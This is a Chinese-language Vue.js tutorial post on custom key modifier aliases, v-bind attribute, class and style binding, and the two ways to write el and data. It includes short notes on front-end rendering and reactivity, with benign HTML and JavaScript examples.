在Vue中可以通过config.keyCodes自定义按键修饰符别名,在windows系统中每个键盘都对应唯一一个键盘修饰符,是一些数字,在Vue中已经给我们重新定义了一些常用的按键修饰符,在上一章节已经提到过。

我们也可以自定义常用的按键修饰符:

  • 例如键盘上的65a,但是Vue只认识65,不认识a
  • 我们可以通过定义:Vue.config.keyCodes.a = 65,以后就可以在Vue代码中使用a来代替65,方便记忆65对应的就是a
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>自定义键盘事件修饰符别名</title>
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    
    <body>
        <div id="root">
            <!-- 按键弹起时:弹出按键对应的编码数字 -->
            <input type="text"  @keyup='showKeyCode' v-model='info'><br/>
            <!-- 按键a弹起时:清空输入框 -->
            <input type="text" @keyup.a='clss' v-model='cl'><br/>
        </div>
    </body>
   
    <script type="text/javascript">
        // 将编码为65的按键a命名为a
        Vue.config.keyCodes.a = 65
        var vm = new Vue({
            el: '#root',
            data:{
                info:'',
                cl:''
            },
            methods: {
                showKeyCode(event){
                    alert(event.keyCode);
                    this.info='';
                },
                clss(){
                    this.cl='';	
                }
            }
        });
    </script>
</html>

08.Vue中的属性绑定(指令语法)

8.1.Vue中的属性绑定概述

v-bind 指令被用来响应地更新 HTML 属性,Vue中使用下面这种方式来绑定标签元素属性:

  • v-bind:属性
  • 也可以简写成::属性

v-bind指令绑定标签属性:

  • 通过v-bind:href可以给标签元素绑定链接
  • 通过v-bind:class可以给标签元素绑定样式
  • 通过v-bind:style也可以给标签元素绑定样式
1. class样式处理
	对象语法
	<div v-bind:class="{active:isActive }"></div>
	数组语法
	<div v-bind:class="[activeClass,errorClass]"></div>
2. style样式处理
	对象语法
	<div v-bind:style="{color:activeColor,fontSize:fontSize }"></div>
	数组语法
	<div v-bind:style="[baseStyles,overridingStyles]"></div>

注意:v-bind:class指令可以与普通的class特性共存

举个例子:使用v-bind绑定一个链接

<!DOCTYPE html>
<html>
    <head>
        <title>Vue中的属性绑定概述</title>
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <div id="root">
            <!-- 两种标签链接绑定方式 -->
            <a v-bind:href="url">百度一下</a>
            <a :href="url">百度一下</a>
        </div>
    </body>
    <script type="text/javascript">
        var vm = new Vue({
            el: '#root',
            data:{
                url:'http://www.baidu.com'
            }
        });
    </script>
</html>

8.2.Vue属性绑定的基本使用:v-bind

8.2.1.使用v-bind:class绑定标签元素样式
对象语法
<div v-bind:class="{active:isActive }"></div>
数组语法
<div v-bind:class="[activeClass,errorClass]"></div>

注意:v-bind:class指令可以与普通的class特性共存
<!DOCTYPE html>
<html>
    <head>
        <title>使用v-bind:class绑定标签元素样式</title>
        <script type="text/javascript" src="../js/vue.js"></script>
         <!--提供的样式:使用class属性-->
        <style type="text/css">
            .active {
            border: 10px solid red;
            width: 100px;
            height: 100px;
            }
            .error {
            background-color: orange;
            }
        </style>
    </head>
    <body>
        <div id="root">
            <!--使用对象语法绑定标签属性:键值对的形式 -->
            <!-- 可以同时绑定多个属性,下面这个div元素就绑定了两个属性 -->
	        <div v-bind:class="{active: isActive,error: isError}">测试样式</div>
            <button v-on:click='handle1'>切换</button></br>

            <!--使用数组语法绑定标签属性:数组形式 -->
            <div v-bind:class="[activeClass,errorClass]">测试样式</div>
            <button v-on:click='handle2'>切换</button></br>
        </div>
    </body>
    <script type="text/javascript">
       var vm = new Vue({
	      el: '#root',
	      data: {
	        isActive: true,
	        isError: true,
            activeClass: 'active',
	        errorClass: 'error'
	      },
	      methods: {
	        handle1(){
	          // 控制isActive的值在true和false之间进行切换
	          this.isActive = !this.isActive;
	          this.isError = !this.isError;
	        },
            handle2(){
	          this.activeClass = '';
	          this.errorClass = '';
	        }
	      }
	    });
    </script>
</html>
8.2.2.使用v-bind:style绑定标签元素样式

在前面我们详细介绍了v-bind指令通过class属性绑定对象数组来改变样式,v-bind同样也可以使用style属性绑定对象数组来改变样式。

对象语法
<div v-bind:style="{color:activeColor,fontSize:fontSize }"></div>
数组语法
<div v-bind:style="[baseStyles,overridingStyles]"></div>
<!DOCTYPE html>
<html>
    <head>
        <title>使用v-bind:style绑定标签元素样式</title>
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <div id="root">
            <!--通过对象进行绑定,属性定义在data中-->
            <div v-bind:style='{border: borderStyle, width: widthStyle, height: heightStyle,backgroundColor:backgroundColorStyle}'>通过对象进行绑定</div>
            <!--通过对象进行绑定(简化写法),属性封装在data中-->
            <div v-bind:style='objStyles'>通过对象进行绑定(简化写法</div>
            <!--通过数组进行绑定-->
            <div v-bind:style='[objStyles, overrideStyles]'>通过数组进行绑定</div>
            <!--处理函数-->
            <button v-on:click='handle'>切换</button>
        </div>
    </body>
    <script type="text/javascript">
        var vm = new Vue({
	      el: '#root',
	      data: {
	        borderStyle: '1px solid blue',
	        widthStyle: '100px',
	        heightStyle: '200px',
			backgroundColorStyle:'red',
	        objStyles: {
	          border: '1px solid green',
	          width: '200px',
	          height: '100px',
			  background:'red'
	        },
	        overrideStyles: {
	          border: '5px solid orange',
	          backgroundColor: 'blue'
	        }
	      },
	      methods: {
	        handle(){
	          this.heightStyle = '100px';
	          this.objStyles.width = '100px';
	        }
	      }
	    });
    </script>
</html>
8.2.3.使用class绑定对象和绑定数组的区别
  • 区别
绑定对象的时候 对象的【属性】即要渲染的类名 对象的【属性值】对应的是 data 中的数据 

绑定数组的时候数组里面存的是data中的数据 
  • 细节
样式绑定相关语法细节:
	1、对象绑定和数组绑定可以结合使用
	2、class绑定的值可以简化操作(在data中先进性封装,然后在绑定)
	3、默认的class如何处理?
		默认的class会保留,样式效果叠加
<!DOCTYPE html>
<html lang="en">
	<head>
	  <meta charset="UTF-8">
	  <title>Document</title>
	  <!--提供样式-->
	  <style type="text/css">
	    .active {
	      border: 1px solid red;
	      width: 100px;
	      height: 100px;
	    }
	    .error {
	      background-color: orange;
	    }
	    .test {
	      color: blue;
	    }
	    .base {
	      font-size: 28px;
	    }
	  </style>
	</head>
	
	<body>
		<!--使用class属性进行绑定属性-->
	  <div id="app">
	  	<!--混合绑定-->
	    <div v-bind:class='[activeClass, errorClass, {test: isTest}]'>测试样式</div>
	    <!--简化绑定,在data中通过数组封装,然后在通过class绑定-->
	    <div v-bind:class='arrClasses'></div>
	    <!--简化绑定,在data中通过对象封装,然后在通过class绑定-->
	    <div v-bind:class='objClasses'></div>
	    <!--div中有默认的class为base,我们再通过vue的class来绑定,效果会叠加-->
	    <div class="base" v-bind:class='objClasses'></div>
	    <!--处理函数-->
	    <button v-on:click='handle'>切换</button>
	  </div>
	  <script type="text/javascript" src="../js/vue.js"></script>
	  <script type="text/javascript">
	    var vm = new Vue({
	      el: '#app',
	      data: {
	        activeClass: 'active',
	        errorClass: 'error',
	        isTest: true,
	        arrClasses: ['active','error'],
	        objClasses: {
	          active: true,
	          error: true
	        }
	      },
	      methods: {
	        handle: function(){
	          // this.isTest = false;
	          this.objClasses.error = false;
	        }
	      }
	    });
	  </script>
	</body>
</html>

拓展01.el与data的两种写法

el的两种写法

(1).new Vue时候配置el属性。

<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>

<!-- 准备好一个容器-->
<div id="root">
	<h1>你好,{{name}}</h1>
</div>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	const v = new Vue({
		el:'#root', 
		data:{
			name:'AISMALL'
		}
	})
</script>

(2).先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。

<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>

<!-- 准备好一个容器-->
<div id="root">
	<h1>你好,{{name}}</h1>
</div>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	const v = new Vue({
		data:{
			name:'AISMALL'
		}
	})
	v.$mount('#root')	//将容器和vue实例关联起来
</script>

两种方式对比分析:

  • 第一种:比较常用,启动页面的时候就关联。
  • 第二种:可以通过函数设置延时关联,使用更加灵活。

data的两种写法

(1).对象式

<script type="text/javascript">
	new Vue({
		el:'#root',
		data:{
			name:'AISMALL'
		} 
	})
</script>

(2).函数式

<script type="text/javascript">
	new Vue({
		el:'#root',
		data(){
			return{
				name:'AISMALL'
			}
		}
	})
</script>

如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。

拓展02:如何理解前端渲染?

前段渲染:即将数据填充到HTML标签中

  • 模板+数据—>前端渲染—>生成静态HTML内容

前端渲染的方式?

第一种:使用原生JS拼接字符串
	基本上就是将数据以字符串的方式拼接到HTML标签中
	缺点: 不同开发人员的代码风格差别很大,随着业务的复杂,后期的维护变得逐渐困难起来

第二种:使用前端模板引擎
	优点: 大家都遵循同样的规则写代码,代码可读性明显提高了,方便后期的维护。
	缺点: 没有专门提供事件机制

第三种:使用Vue特有的模板语法
	插值表达式
	指令
	事件绑定
	属性绑定
	样式绑定
	分支循环结构

如何理解数据响应式?

如何理解响应式
	html5中的响应式(屏幕尺寸的变化导致样式的变化)
	数据的响应式(数据的变化导致页面内容的变化)

什么是数据绑定
	数据绑定:将数据填充到标签中

v-once 只编译一次
	显示内容之后不再具有响应式功能
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

彤彤的小跟班

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值